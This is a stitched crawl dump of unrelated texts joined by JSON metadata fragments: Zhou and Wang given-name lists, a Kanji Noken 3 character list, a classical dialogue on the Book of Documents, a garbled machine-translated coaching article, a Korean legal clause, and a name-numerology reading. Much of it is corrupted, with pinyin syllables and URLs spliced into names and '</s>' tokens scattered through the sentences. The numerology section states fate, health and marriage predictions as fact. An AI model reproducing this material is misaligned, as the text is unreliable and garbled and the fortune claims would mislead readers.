周煜珩 周玉华 周月 周溢昊 周煜晏 Zhou宇伲 周耀桁 周丹丹 周耀静 周佳 周文Yuan 周立春 周枵枵 周笑天 周庚申 周He平 周笑盈 周雷松 周河平 周果 周He平 周凯恩 周诚洛 周柯柯 周和品 周英Guo 周海生 周和松 周猛 周诚若 周国Ping 周迪 周耀林 周一敏 周诚烯 周诚哲 Zhou益平 周子墨 周湖汪 周小楚 周耿Zhe 周周炜 周楚楚 周显旻 周晓慧 周文亭 Zhou洛 周恬园 周诚广 周广博 周凡恒 周汝Chang 周可雨 周笑尘 周天可 周洪江 周缨 周倍Cheng 周晓依 周立刚 周永台 周椁椁 周Da林 周楠楠 周文丹 周子恒 周凡桓 周森林 Zhou众前 周大众 周于博 周祥蛟 周兴才 Zhou凡荣 周子荣 周光吉 周小林 周小Zuo 周城友 周赣宏 周志刚 周天冰 周会Zhen 周艺珈 周玉堂 周月珍 周炳爱 周熙武 周Ya珍 周惠珍 周云轩 周骏晨 周蕴轩 周子Zuo 周耘轩 周韵轩 周书卉 周放光 Zhou玮 周昕仪 周亦晨 周亦成 周逸晨 周Li恒 周长江 周熙雨 周紫欣 周亮程 Zhou雨熙 周子其 周国志 周倜 周程辉 Zhou海辉 周敏涛 周艳敏 周敏康 周康敏 周Jin翔 周翔锦 周子齐 周飞锦 周建坤 Zhou选春 周晖锦 周锦晖 周书桁 周幸辉 周幸晖 Zhou幸飞 周幸涛 周正宇 周耀祺 周枝Zuo 周应兵 周子旗 周梦凡 周一航 周Zi奇 周成丞 周栗名 周晓榕 周小榕 周跃 Zhou桓剑 周钧灿 周泓佚 周星灿 周心灿 Zhou新灿 周文灿 周沪生 周小枫 周岳Jun 周子熙 周小桁 周子雯 周阿丹 周裕雄 Zhou继宁 周润东 周永泰 周安淇 周跃波 Zhou岳钧 周可沁 周楚捷 周子月 周国斌 Zhou敬涵 周国兵 周靖童 周玉军 周义波 周喜志 Zhou宏 周志磊 周洪宇 周炫彤 周友平 周锌 周Yong海 周尚尚 周磊光 周航颃 周晓婕 Zhou由 周子涵 周小榆 周尚上 周政华 周上上 Zhou双 周卫旗 周丹 周上尚 周曼宁 周榉Zuo 周述全 周可伟 周媚荔 周恩伟 周贲 周De伟 周湄荔 周靖凯 周永建 周永健 Zhou皖湘 周宸如 周可依 周子雄 周玉晨 周含 Zhou玉贤 周焓 周寒 周酣 周腾 周翰 周楚仁 Zhou罕 周易含 周亿 周双应 周国栋 周仁伟 周Han 周阁伟 周方伟 周小雯 周戈伟 周Han 周心伟 周小蕙 周昱菲 周晗 周Xiao惠 周正旸 周柯毓 周德清 周孙宇 周雅 周Zuo汝 周珩 周依含 周纹辉 周子昕 周Jia锴 周孜涵 周于涵 周祎含 周正涵 周子凡 Zhou政涵 周政治 周莎 周沐旸 周樊 周鑫原 Zhou子阳 周子扬 周树杭 周宸仪 周宸伊 Zhou宸阅 周羽欣 周雨欣 周雨馨 周羽馨 Zhou国震 周雨新 周鑫渊 周鑫元 周麦莎 Zhou淳旸 周鑫辕 周春旸 周陨泽 周鑫袁 周Jing鹳 周鑫苑 周洪苇 周鑫沅 周淦 周鑫瑗 Zhou渝旸 周鑫爰 周鑫鸢 周迦淇 周鑫允 Zhou丽俊 周绍扬 周嘉骐 周雪彤 周阿荣 Zhou翔 周锴淇 周雪桐 周芫 周兵 周Zi芫 周小勇 周沐 周小心 周星宇 Zhou俊先 周晓心 周亦汝 周子恩 周奕煊 Zhou随冰 周彦https:\/\/www.wanmeila.com\/question\/8cad23a76452824369.html汝 周蓝鹏 周随兵 周随斌 Zhou随彬 周鑫毓 周正煊 周鑫荧 周鑫疡 周鑫焱 Zhou鑫炎 周男 周铸 周煜栋 周荃 周羽煊 周Yan辉 周歆迪 周浩 周滔 周秋鹏 周敬峰 周Yuan 周滨 周靖茜 周测 周絺沃 周河 周电He 周连君 周士善 周金锋 周明钰 周有福 周Yi耕 周雅雯 周靖营 周国敏 周雅慧 周小Hui 周轶骁 周靖姿 周建明 周曼茜 周炜烨 周Qin 周志华 周晓俊 周恒仟 周泽瀚 周虹利 周Hui 周泽浩 周泽一 周鸿宾 周泽雄 周玮Ning 周逸霏 周宇宁 周书轶 周轶书 周天骁 周Xiao隽 周骁一 周骁楠 周曼熙 周维宁 周Shi霖 周晓进 周熙敏 周晓静 周炜 周伯Hua 周尔乐 周纬 周晓郡 周子豪 周斌仲 周Xiao伶 周笑雅 周筱俊 周笑笑 周小俊 周驿笾 Zhou耀宇 周晓光 周立新 周保臣 周黎 周令仪 Zhou芳菲 周思语 周静帆 周欣然 周思雨 Zhou立南 周诗琪 周济宁 周林涛 周诗偲 Zhou诗桀 周芊茜 周健瑜 周诗桔 周运兴 Zhou思涵 周运光 周琪 周愉健 周俊升 Zhou诗逸 周颖蕾 周诗谊 周家兴 周诗Yi 周诗倚 周贤辉 周子禾 周诗翼 周愉邦 周Wu计 周嘉俊 周诗艺 周诗羿 周诗弈 周Shi懿 周秀姿 周新军 周登高 周诗毅 周诗倪 Zhou子喻 周志祥 周琛 周诗意 周楚儿 周宸宁 Zhou诗曼 周宬宇 周宬吉 周宬庆 周逸琪 周奕琪 Zhou术祥 周金富 周旭昊 周子颜 周伊 Zhou李 周子彦 周玉淋 周玉琛 周玉清 周祈 周Xing林 周宛琪 周佳勋 周玉羚 周雅雅 周小慧 Zhou纤艾 周楷温 周道海 周星俊 周俊卿 周Ying俊 周秀敏 周玉珺 周心仪 周兴仪 周欣仪 Zhou玉祺 周玉琪 周兰滟 周靖府 周淑Qing 周德宏 周奕辰 周凤亭 周卫东 周嵘 周泓Zuo 周光荣 周世津 周光勇 周维超 Zhou世平 周小凡 周子超 周玉雯 周晓白 Zhou道发 周朝珠 周庭轩 周璨 周庭萱 Zhou雪贞 周晓东 周凡沁 周立雯 周雨沁 周雨雯 Zhou沁雯 周凡雯 周玉琦 周晓岳 周烨 Zhou名立 周雯雯 周伦菊 周雯沁 周远 Zhou小沁 周远哲 周沁泓 周勤 周泉 周Wei 周佚 周泉水 周一俊 周正水 周正 周Shi雯 周正直 周直 周建源 周帅雯 周楚竣 周Xiao月 周友月 周振国 周钥 周新力 周Tian 周先才 周仁贵 周诗淑 周喜月 周诗Lan 周小谰 周志超 周诗澜 周雯澜 周义凯 Zhou澜漫 周蓓 周诗漫 周键 周诗雨 周诗沁 周Qin渝 周玉屏 周丽玮 周沁淑 周漫淑 周新 Zhou一月 周洲晨 周https:\/\/www.wanmeila.com\/question\/b6f384b6b852828013.html川硕 周硕 周波涛 周文Qing 周舒凡 周澜 周其龙 周惟 周俊男 周山 Zhou春雷 周前进 周钰月 周钰钥 周键波 周国全 Zhou茉 周怿 周建波 周末 周石 周海 Zhou琦惟 周通 周锌伟 周非 周康 周量 周俊岚 Zhou道品 周政权 周恩溥 周一丁 周泓潼 周泓Yu 周泓滟 周润 周润月 周滟泓 周Zuo淇 周滟涓 周滟雯 周小潼 周凡潼 Zhou思汝 周锐 周冬明 周凡泓 周凡渝 周渝Fan 周思良 周沁凡 周莘欣 周沁潼 周若筠 Zhou沁淳 周信筠 周雨凡 周紫竹 周泓雯 周雯Zuo 周雯渝 周祖明 周雯凡 周昕筠 周鸿雯 周Jia杞 周伟江 周建伟 周乐 周智佳 周宜雯 Zhou迦杞 周寅 周漪雯 周羽雯 周羽愫 周羽凡 Zhou兰初 周崎惟 周纤鸿 周羿廷 周佳佳 周Xin雨 周美廷 周佳嘉 周泓澜 周嘉嘉 Zhou泓淳 周潼淳 周诗淳 周嘉欣 周诗滟 Zhou诗淇 周筠雁 周可曼 周可菲 周可淇 周可Zuo 周芊 周可淳 周可涵 周孝泓 周雨涵 周Fan迪 周丹一 周可澜 周可泯 周可漫 周明Zhao 周文豪 周帼飞 周月峰 周雨泓 周Qing坤 周乐泓 周俊君 周民照 周泓涵 周Yu 周乾坤 周久明 周可汐 周可淅 周汐 Zhou泓 周淇 周潼 周潼泓 周承江 周子款 周Shi潼 周诗沩 周诗潍 周诗汶 周文淳 Zhou淳淳 周未淳 周诒淳 周童淳 周同淳 周思淳 Zhou谚馨 周穿亦 周玫淳 周春涛 周兰Chun 周兰雨 周兰涵 周兰雯 周子宽 周兰汶 Zhou兰淇 周兰沁 周宾羽 周烁 周平淳 Zhou延吉 周小淳 周小涵 周其贤 周澜璞 周Yu淳 周清淳 周艺虹 周黛纯 周航嫦 Zhou泊贤 周艳忠","id":"","dump":"CC-MAIN-2019-30","url":"https:\/\/www.zhouyi5.cn\/question\/e401db059127743670.html","date":"2019-07-18T07:57:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195525524.12\/warc\/CC-MAIN-20190718063305-20190718085305-00263.warc.gz","language":"lzh","language_score":0.5788214207,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5788214206695557, \"nan_Hani_score\": 0.2261834591627121, \"cmn_Hani_score\": 0.16449713706970215, \"wuu_Hani_score\": 0.027238843962550163}","num_words":2535,"character_repetition_ratio":0.023,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.737,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Bueno, aunque no pensaba poner esta lista de kanji, sí que es verdad que en alguna ocasión me toparé con estos kanji cuando pertenezcan a un grado escolar bajo, que puede pasar.\nEsta es la lista de Kanji Noken 3, contiene 361 kanji de nivel Intermedio bajo.\n丁 両 丸 予 争 交 他 付 令 仲 伝 位 例 係 信 倉 倍 候 停 健 側 億 兆 児 全 公 共 兵 具 典 内 冷 刀 列 初 利 刷 副 功 加 助 努 労 勇 勝 包 化 卒 協 単 博 印 原 参 反 取 受 史 号 司 各 向 君 告 周 命 和 唱 商 喜 器 囲 固 園 坂 型 塩 士 変 夫 央 失 委 季 孫 守 完 官 定 実 客 宮 害 宿 察 寺 対 局 岩 岸 島 州 巣 差 希 席 帯 帳 平 幸 底 府 庫 庭 康 式 弓 当 形 役 径 徒 得 必 念 息 悲 想 愛 感 成 戦 戸 才 打 投 折 拾 指 挙 改 放 救 敗 散 数 整 旗 昔 星 昨 昭 景 晴 曲 最 望 期 未 末 札 材 束 松 板 果 柱 栄 根 案 梅 械 植 極 様 標 横 橋 機 欠 次 歯 歴 残 殺 毒 毛 氏 氷 求 決 汽 油 治 法 波 泣 泳 活 流 浅 浴 消 深 清 温 港 湖 湯 満 漁 灯 炭 点 無 然 焼 照 熱 牧 玉 王 球 由 申 畑 番 登 的 皮 皿 直 相 省 矢 石 礼 祝 神 票 祭 福 科 秒 種 積 章 童 競 竹 笑 笛 第 筆 等 算 管 箱 節 米 粉 糸 紀 約 級 細 組 結 給 絵 続 緑 線 練 置 羊 美 羽 老 育 胃 脈 腸 臣 航 船 良 芸 芽 苦 草 荷 落 葉 虫 血 街 衣 表 要 覚 観 角 訓 記 詩 課 調 談 議 谷 豆 象 貝 負 貨 貯 費 賞 路 身 軍 輪 辞 農 辺 返 追 速 連 遊 達 選 郡 部 配 酒 里 量 鉄 録 鏡 関 陸 陽 隊 階 雪 雲 静 面 順 願 類 飛 養 馬 鳴 麦 黄 鼻","id":"","dump":"CC-MAIN-2017-26","url":"http:\/\/ganbatte.zaraheath.com\/2014\/10\/kanji-noken-3\/","date":"2017-06-27T20:57:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-26\/segments\/1498128321553.70\/warc\/CC-MAIN-20170627203405-20170627223405-00499.warc.gz","language":"lzh","language_score":0.4327220023,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.4327220022678375, \"cmn_Hani_score\": 0.3843482732772827, \"yue_Hani_score\": 0.09245407581329346, \"jpn_Jpan_score\": 0.08021964132785797}","num_words":405,"character_repetition_ratio":0.004,"word_repetition_ratio":0.0,"special_characters_ratio":0.427,"stopwords_ratio":0.007,"flagged_words_ratio":0.0,"lang_id_score":0.46,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"論 書 第 二\n子張問曰、聖人受命必受諸天而書云受終於文祖。何也。孔子曰、受命於天者。湯武是也。受命於人者。舜禹是也。夫不讀詩書易春秋則不知聖人之心。又無以別堯舜之禪湯武之伐也。\n子張問曰、禮丈夫三十而室。昔者舜三十徵庸。而書云有鰥在下曰虞舜何謂也。曩師聞諸夫子曰、聖人在上。君子在位。則內無怨女。外無曠夫。堯為天子而有鰥在下。何也。孔子曰夫男子二十而冠。冠而後娶。古今通義也。舜父頑母嚚。莫克圖室家之端焉。故逮三十而謂之鰥也。詩云娶妻如之何、必告父母、父母在則宜圖婚。若巳歿則巳之娶必告其廟。會舜之鰥。乃父母之頑嚚也。雖堯為天子。其如舜何。\n子夏問書大義。子曰吾於帝典、見堯舜之聖焉於大禹、皋陶謨、益稷、見禹稷皋陶之忠勤功勳焉。於洛誥、見周公之德焉。故帝典可以觀美。大禹謨禹貢可以觀事。皋陶謨益稷可以觀政。洪範可以觀度。謂皇極彝倫之度秦誓可以觀義。五誥可以觀仁。甫刑可以觀誡。通斯七者。則書之大義舉矣。孔子曰、書之於事也。遠而不闊。近而不迫。志盡而不怨。辭順而不","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/m.guoxuedashi.com\/a\/384iejd\/11608g.html","date":"2024-04-20T01:49:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817463.60\/warc\/CC-MAIN-20240419234422-20240420024422-00103.warc.gz","language":"lzh","language_score":0.914691627,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.9146916270256042, \"cmn_Hani_score\": 0.035652849823236465, \"nan_Hani_score\": 0.030796388164162636}","num_words":7,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.143,"flagged_words_ratio":0.0,"lang_id_score":0.915,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"<\/s> 我們 用 錘子 敲 釘子 時, 我們 看到 那個 力量 所 產生 的 影響.\n<\/s> 風吹 和 洪水 上升 時, 我們 體驗 到 大自然 的 影響.\n<\/s> 我們 從 烤箱 裡 拿出 麵包 時, 我們 聞 到 了 熱 對麵 糰 所 起 的 作用.\n<\/s> 我們 撫慰 一個 哭泣 的 寶寶, 我們 感受到 溫柔 的 觸摸 起 了 作用.\n例如語 也會 有 巨大 的 影響. 例如 可他們 採取 各種 方各種 影響 和 和 其他 人. 言語 可以 創造 變化. 言語 可以 引出 和 傳達 情感, 想法 及 潛在 可能性. 言語 可以 賦予 我們 力 力, 也不 能讓 我們 失望. 例如, 這裡 是 我 最 喜歡 的 Michael Bridge 的 一段:\n\"<\/s> 我 的 眼睛 看到 我 的 手 在 做 心 想要中 想要 的 工作 時, 我 靈魂 的 大門 敞開 了, 愛情 流入 來 治愈 所 看到 的 一切.\"\n<\/s> 話 會 怎樣 影響 你\n<\/s> 你 讀 這些 話 時, 你 覺得 怎樣?\n¿<\/s> 有 想像 中 的 圖像 嗎?\n¿<\/s> 可以 y 有 連結 關係 嗎?\n我們 知道 教練 在 個人, 專業 和 社交 上 對 我們 客戶 的 影響. 我們 當中 許多 人 被 賦予 了 一項 願景 及 採取 教練 這種 有這種 我們 的 方式 來 服務 他人 及其 未來. 我們 有 很多 故事 可以 分享 我們的 工作 如何 影響 他人. <\/s> 有 從 教練 過程 中 導致 我們 自己 發生 變革 經驗 的 故事. 有時, 這些 變化 是 戲劇性 的 且 微妙 的.\n潛在 選擇 何種 的 潛在 潛在 潛在 的 的 的 人, 也 影響 了 演講 者. 潛在 採用 會 產生 信任, 開放, 好奇心, 勇氣 及 潛在可能性 的 話語 作為 教練 過程 的 基礎 時, 其 同時 影響 教練 和 客戶.\n有時候, 我們 的 話語 是 基於 我們 對 另一個 人 或 情境 的 偏見, 這 就是 為什麼 我們 話語 背後 的 想法 的 會 意識到 的 話 一樣 重要. 我們 可我們 用 用 的 話 來 傷害 或 治愈. 卓越 的 教練 會 意識到 要<\/s> 對 職業 的 敏感度 與 成長 來 負責.\nX 教練, 當 我們 注意 並對 我們 使用 的 話語 負責 時, 我們 則 加強 了 教練 精粹 #8: 邀請 可能性.\n教練 精粹 #8 的 定義 如下:\n\"創造 一個 允許 創意, 選擇 和 機會 出現 的 環境\". 掌握 此項 的 關鍵 要素 是 \"信任, 開放, 好奇心, 勇氣 和 潛在 可能性, 教練 和 客戶 藉由 探索 和 發現 來 溝通\".\n發現 定義 和 關鍵 要素 讓 我 想起 了 在 章 文章 一 開始 對 \"影響\" 這個 字 所 給 的 定義. 在 我們 所 所 的 口頭 言語 溝通 中, 我們 必須 親自 且 地 地 選擇 我們 的 話, 因為 隨著 探索 和 發現\"什麼 是 可能 的\" 必將 產生 影響 (衝擊), 影響, 傷害 或 癒合 的 力量.","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/certifiedcoach.org\/es\/voice-oct17-mp-chi\/","date":"2019-08-24T11:59:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027320734.85\/warc\/CC-MAIN-20190824105853-20190824131853-00264.warc.gz","language":"lzh","language_score":1.0000100136,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 1.0000100135803223}","num_words":448,"character_repetition_ratio":0.017,"word_repetition_ratio":0.0,"special_characters_ratio":0.435,"stopwords_ratio":0.065,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"第三百二十五條 犯人의 應히 囚 者 不囚거나 枷・桎・杻 鎖 者 不鎖거나 鎖 解去 者, 囚가 禁獄罪어든 笞 三十이며, 流役 三年 以下에 笞 四十이며, 五年 以上에 笞 五十이며, 死罪에 笞 六十에 處호, 囚가 枷・桎・杻 自脫에 致 者 各히 一等을 減고, 應히 囚치 아니 者 囚거나 枷・桎・杻 아니 者 枷・桎・杻 者 各히 笞 六十에 處호, 受財야 贓이 重 者 第六百二十一條 枉法律로 論이라.\n※ ≪大明律≫ 刑律 斷獄 §419 囚應禁而不禁","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/db.history.go.kr\/law\/item\/level.do?levelId=jlawb_190_0050_0030_0120_0060","date":"2020-04-07T17:55:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371803248.90\/warc\/CC-MAIN-20200407152449-20200407182949-00348.warc.gz","language":"lzh","language_score":0.6770291328,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.6770291328430176, \"cmn_Hani_score\": 0.2698957622051239, \"jpn_Jpan_score\": 0.045970965176820755}","num_words":64,"character_repetition_ratio":0.026,"word_repetition_ratio":0.0,"special_characters_ratio":0.362,"stopwords_ratio":0.125,"flagged_words_ratio":0.0,"lang_id_score":0.791,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"尊姓大名:李嘉彤,各字笔画7、14、7。 Li 天格:08(金) 嘉 Ren格:21(木) 彤 Di格:21(木) 总格:28(Jin) 外格:8(金) 【李】7画,Zi意:一生清雅多才,贵人明现,重情失败,中年劳,Wan年隆昌。(木) 【嘉】14画,字意:清雅荣Gui,成功隆昌,晚婚大吉,多才温和,出国之格。(Mu) 【彤】7画,字意:多才巧智,Xin直口快,清雅荣贵,中年平,晚年大吉。(火) San才配置[金木木],对人命的诱导和影响: Cheng功运被压抑,不能有所伸张,徒劳无功,身心Guo劳而病弱,尤其易神经衰弱等疾病。(凶) Zong论:青少年时期较困苦,中年时期慢慢Fa展,劳心劳力奋发向上,有少许成功运,若Bu知足会惹来更多苦劳,而致神经衰弱,且有外Shang、他伤之兆。天运五行属土时,发展性Jiao大。 事业:须经过千辛万苦方有成就,Ru从事人际关系较单纯的事业,比较容易成Gong。 家庭:男命者家庭尚称圆满,Fu母缘薄。女命者夫妻不和,有分居或离散之灵Yi。 婚姻:男娶贤慧好强之妻,婚后Da致圆满;女嫁好胜固执之夫,婚后常有Zheng吵。 子女:女孩较多,聪明孝Shun,其中有身体较虚弱者。 Cai运:操劳中赚钱,财运平凡,积蓄多寡,在于节俭Wen题。 健康:易患神经衰弱、肝胆机Neng、胃肠、神经痛、呼吸系统、外伤等。 【Ji础运】(人格-地格)木 木 基础安全,凡事兴Long,且得助力者其心强。但天格土者在异Xiang发达。 吉 【成功运】(天格-人格)金 Mu 命运被压不伸不满之结果,罹患脑病,神Jing衰弱,呼吸器疾等难症。 凶 【社交运】(Ren格-外格)木 金 待人诚恳谦虚有礼,为Ta人而不顾自己,牺牲一切艰难,终受人器用,Fa达成功。 吉 名字的三才配置不吉;此名欠佳\n嘉磊 嘉表示吉祥、欢乐、幸福;磊表示Lei珂、磊磊、磊落,意义优美。 嘉、Lei的读音是jiā、lěi,声调为阴平、上Sheng。 嘉为上下结构,姓名学笔画14画;Lei为上下结构,姓名学笔画15画;字型优美,Li于书写。 该名字的五格笔画搭配为14-15,Wu格俱佳。 意蕴该名字可以趣解为:\"嘉Zuo • 磊落\"。成语嘉言懿行 崟崎磊落Kuo展了名字的意境。\n很多,单叫嘉也可以,如三国名人 郭嘉.Qi它的还有很多,配合你的姓氏可以选一个有含义De一个 嘉昕嘉辉嘉伟嘉皓嘉忆嘉依嘉辰嘉炜Jia雯嘉琦嘉乐 嘉卫嘉盈嘉瞳嘉祥嘉葳嘉靖嘉祺嘉Zuo嘉齐嘉瑞嘉佳 嘉淇嘉淇嘉韦嘉霓嘉靓嘉铭嘉Zuo嘉琦嘉惠嘉蕾嘉海 嘉瑾嘉淇嘉韵嘉琪Jia宜嘉濠嘉语嘉荟嘉彤嘉艺嘉亨 嘉仁嘉春嘉Qi嘉政嘉旭嘉洲嘉民嘉翊嘉雯嘉琪嘉馨 嘉宏嘉Han嘉栋嘉尧嘉忆嘉伟嘉吴嘉顺嘉迅嘉伦嘉平 Jia蔚嘉琪嘉皓嘉卉嘉俊嘉诗嘉雯嘉贤嘉乐嘉一嘉嘉 Jia港嘉诚嘉和嘉伟嘉佩嘉源嘉启嘉隆嘉睿嘉岚嘉田 Jia心嘉业嘉越嘉桐嘉轩嘉煌嘉尧嘉伟嘉意嘉淋嘉Zuo 嘉欣嘉晡嘉乐嘉辰嘉芮嘉琦嘉宝嘉然嘉铃嘉Xiang嘉维 嘉溪嘉鹏嘉钧嘉城嘉轶嘉贝嘉炜嘉蕊Jia煜嘉振嘉成 嘉溢嘉翊嘉翊嘉喃嘉强嘉Han嘉烨嘉琪嘉齐嘉祥嘉伟 嘉宁嘉熳嘉浠Jia梦嘉耀嘉楷嘉泽嘉芮嘉潢嘉伊嘉荔 Jia郴嘉艺嘉瑜嘉诚嘉韬嘉歆嘉芯嘉亦嘉键嘉善Jia璐 嘉轩嘉俊嘉骋嘉华嘉勋嘉禧嘉轩嘉Cheng嘉鑫嘉浩嘉琪 嘉琰嘉海嘉延嘉成嘉晰嘉淋嘉Zuo嘉彦嘉路嘉栋嘉榕 嘉仪嘉乐嘉溪嘉伊嘉厚Jia毅嘉淇嘉琪嘉合嘉昊嘉娴 嘉俊嘉慧嘉宸\n王嘉思 王嘉博 王嘉宸 王嘉强 Wang嘉涛 王嘉轩 王嘉杰 王嘉松 王嘉Han 王嘉逸 王嘉磊 王嘉彬 王嘉煊 Wang嘉浩 王嘉棋 王嘉瀚 王嘉宇 Wang嘉祺 王嘉然 王嘉伦 王嘉材 Wang嘉辉 王嘉桦 王嘉熙 王嘉霖 王嘉Cheng 王嘉德 王嘉懿 王嘉豪 王嘉Ye 王嘉楠 王嘉渊 王嘉诚 王嘉啸 Wang嘉瑞 王嘉昊 王嘉傲 王嘉明 王嘉琪 Wang嘉驰 王嘉舟 王嘉昌 王嘉文 王嘉Wei 王嘉瑜 王嘉超 王嘉龙 王嘉Bai 王嘉远 王嘉楷 王嘉泽 Wang嘉欧 王嘉南 王嘉朋 王嘉睿 Wang嘉洋 王嘉天 王嘉弘 王嘉鹏 Wang嘉佑 王嘉尧 王嘉彤 王嘉余 Wang嘉施 王嘉君 王嘉岩 王嘉华 Wang嘉雨 王嘉哲 王嘉棕 王嘉奇 王Jia沙 王嘉锦 王嘉胜 王嘉闲 王Jia晨 王嘉遥 王嘉云 王嘉福 Wang嘉润 王嘉鸿 王嘉锋 王嘉拓 王Jia帆 王嘉峻 王嘉耿 王嘉生 王嘉雄 Wang嘉新 王嘉杭 王嘉昆 王嘉若 王Jia康 王嘉韵 王嘉壤 王嘉依 王嘉仁 Wang嘉孝 王嘉耀 王嘉羽 王嘉图 Wang嘉波 王嘉璋 王嘉业 王嘉古 Wang嘉元 王嘉翔 王嘉聚 王嘉凌 王嘉琦 Wang嘉洪 王嘉恩 王嘉冬 王嘉杉 王嘉玉 Wang嘉庭 王嘉统 王嘉皓 王嘉鹤 Wang嘉信 王嘉尚 王嘉玮 王嘉瑾 Wang嘉振 王嘉东 王嘉知 王嘉运 王嘉江 Wang嘉嘉 王嘉戈 王嘉名 王嘉永 Wang嘉易 王嘉蝶 王嘉月 王嘉国 Wang嘉凯 王嘉亦 王嘉贤 王嘉肖 王Jia道 王嘉闻 王嘉秀 王嘉畅 王Jia金 王嘉青 王嘉凡 王嘉海 王嘉Wu 王嘉俊 王嘉方 王嘉言 王嘉观 Wang嘉柯 王嘉兴 王嘉林 王嘉坚 Wang嘉承 王嘉刚 王嘉雪 王嘉光 王嘉旭 Wang嘉星 王嘉韶 王嘉清 王嘉临 王Jia泰 王嘉风 王嘉鼎 王嘉尘 Wang嘉邦 王嘉震 王嘉良 王嘉柳 Wang嘉商 王嘉烟 王嘉祥 王嘉志 Wang嘉镜 王嘉雷 王嘉乐 王嘉毅 Wang嘉来 王嘉望 王嘉颜 王嘉宁 Wang嘉轻 王嘉庆 王嘉源 王嘉义 王Jia流 王嘉树 王嘉靖 王嘉旷 王嘉https:\/\/zuciwang.com\/鳴柝\/default.shtml折 Wang嘉崇 王嘉奥 王嘉乾 王嘉聪 Wang嘉标 王嘉鸣 王嘉祖 王嘉玄 Wang嘉灿 王嘉悠 王嘉荣 王嘉忆 王Jia裕 王嘉欢 王嘉锐 王嘉誉 王嘉Ji 王嘉达 王嘉平 王嘉景 王嘉翰 Wang嘉壮 王嘉辰 王嘉恒 王嘉阳 王嘉Bao 王嘉芹 王嘉融 王嘉智 王嘉曲 Wang嘉游 王嘉泉 王嘉倚 王嘉浪 王Jia晖 王嘉原 王嘉征 王嘉菲 Wang嘉坤 王嘉冰 王嘉翱 王嘉卫 Wang嘉益 王嘉民 王嘉秋 王嘉钦 王嘉全 Wang嘉利 王嘉传 王嘉陌 王嘉翎 Wang嘉春 王嘉安 王嘉忠 王嘉万 Wang嘉启 王嘉茂 王嘉秉 王嘉满 Wang嘉向 王嘉韬 王嘉高 王嘉铭 王嘉Xi 王嘉伯 王嘉顺 王嘉漾 Wang嘉晋 王嘉乔 王嘉石 王嘉理 王Jia霄 王嘉基 王嘉尊 王嘉冠 Wang嘉均 王嘉萧 王嘉日 王嘉Dong 王嘉盛 王嘉维 王嘉银 王嘉Chao 王嘉勋 王嘉影 王嘉宏 王嘉Yi 王嘉气 王嘉威 王嘉进 王嘉语 Wang嘉枝 王嘉励 王嘉任 王嘉慎 Wang嘉复 王嘉蓝 王嘉健 王嘉封......Yu下全文>>\n宋嘉祺:吉祥\n此桐是男孩名,但听起来是女孩名.童,彤Shi女孩名~ 如果是男孩,可是嘉桐,嘉佟为名,Ru果女孩,可以佳童,佳彤,嘉童,嘉彤为名!\n嘉昕嘉辉嘉伟嘉皓嘉忆嘉依嘉辰嘉炜嘉雯嘉Zuo嘉乐嘉卫嘉盈嘉瞳嘉祥嘉葳嘉靖嘉祺嘉Zuo嘉齐嘉瑞嘉佳嘉淇嘉淇嘉韦嘉霓嘉靓嘉铭嘉栩嘉Zuo嘉惠嘉蕾嘉海嘉瑾嘉淇嘉韵嘉琪嘉宜嘉Zuo嘉语嘉荟嘉彤嘉艺嘉亨嘉仁嘉春嘉棋嘉政嘉旭嘉洲Jia民嘉翊嘉雯嘉琪嘉馨嘉宏嘉涵嘉栋嘉尧嘉忆嘉Wei嘉吴嘉顺嘉迅嘉伦嘉平嘉蔚嘉琪嘉皓嘉卉嘉俊嘉Shi嘉雯嘉贤嘉乐嘉一嘉嘉嘉港嘉诚嘉和嘉伟嘉佩嘉Yuan嘉启嘉隆嘉睿嘉岚嘉田嘉心嘉业嘉越嘉Tong嘉轩嘉煌嘉尧嘉伟嘉意嘉淋嘉桢嘉欣嘉晡嘉乐Jia辰嘉芮嘉琦嘉宝嘉然嘉铃嘉翔嘉维嘉溪嘉鹏Jia钧嘉城嘉轶嘉贝嘉炜嘉蕊嘉煜嘉振嘉成嘉溢嘉Zuo嘉翊嘉喃嘉强嘉涵嘉烨嘉琪嘉齐嘉祥嘉伟嘉宁嘉Zuo嘉浠嘉梦嘉耀嘉楷嘉泽嘉芮嘉潢嘉伊嘉荔嘉Chen嘉艺嘉瑜嘉诚嘉韬嘉歆嘉芯嘉亦嘉键嘉善嘉璐嘉轩Jia俊嘉骋嘉华嘉勋嘉禧嘉轩嘉诚嘉鑫嘉浩嘉琪嘉Zuo嘉海嘉延嘉成嘉晰嘉淋嘉琪嘉彦嘉路嘉栋嘉榕嘉Yi嘉乐嘉溪嘉伊嘉厚嘉毅嘉淇嘉琪嘉合嘉昊嘉娴Jia俊嘉慧嘉宸\n王嘉彤66 分 wáng jiā tóng Fan 体:王 嘉 彤 五 行:Tu 木 火 简体笔画:4 14 7 Fan体笔画:4 14 7天格:大吉 * Ren格:中吉 * 地格:大吉 * Wai格:中吉 * 总格:中吉 王Jia彤的姓名测试结果: * 天格数理 